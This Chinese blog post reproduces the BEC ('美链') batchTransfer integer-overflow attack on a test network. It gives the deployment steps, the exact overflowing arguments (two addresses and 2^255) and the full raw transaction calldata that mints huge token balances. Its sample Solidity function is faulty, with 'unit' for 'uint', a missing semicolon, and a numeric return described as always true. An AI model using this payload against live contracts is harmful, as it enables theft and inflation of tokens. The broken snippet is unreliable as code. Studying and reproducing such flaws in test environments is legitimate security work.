前言:
此为测试网络重现结果,token名:BECDBEC美链漏洞事件的交易请查询:0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
背景:
攻击原理 (详细参考:http://baijiahao.baidu.com/s?id=1598986208766057812&wfr=spider&for=pc)
一些Solidity智能合约容易受到整数溢出或下溢的影响。问题发生在程序中整形变量超过其使用的数据类型的最大值或最小值时发生。发生这种情况时,值会分别绕过最小或最大范围,变成到另一端的极值(穿越了)。
例如,下面的Solidity函数总是返回true:
function wrapAround() returns (bool) {
unit x=500;
unit max=2 ** 256 -1; //2**256表示2的256次方,是unit(256位无符号整数)能包含的最大值
return x + max
}
操作实战(测试网络中重现漏洞攻击)
1.环境准备:metamask; remix。
2. 复制BEC智能合约代码。0xC5d105E63711398aF9bbff092d4B6769C82F793D
3. 黏贴至remix在线编译。(这里我对名字做了修改,token代号为:BECD)
4. 对batchTransfer函数传入参数 ["0x808c9013da8762af18aecaa8a324037df4edafe6","0x487d85ab8acf5262dbdb6ed4e90fb5900bc37e0e"],"0x8000000000000000000000000000000000000000000000000000000000000000"。(数组里两个地址,另一个转账数量2^255,乘以2结果2^256溢出)
编译运行后的界面,这里已经执行过batchTransfer函数方法5. 上一步执行后即可看到参数写入的地址里已经有了相应天文数字级别的BECD了。 这一步也可以把函数和参数值的hex数据放到MEW的一次普通交易的inputdata中,然后发布交易即可。(即0x83f12fec000000000000000000000000000000000000000000000000000000000000004080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000808c9013da8762af18aecaa8a324037df4edafe6000000000000000000000000487d85ab8acf5262dbdb6ed4e90fb5900bc37e0e,该数据包含调用batchTransfer函数及相应的参数值信息,有兴趣的可以深入了解下。)
测试环境运行结果
网友评论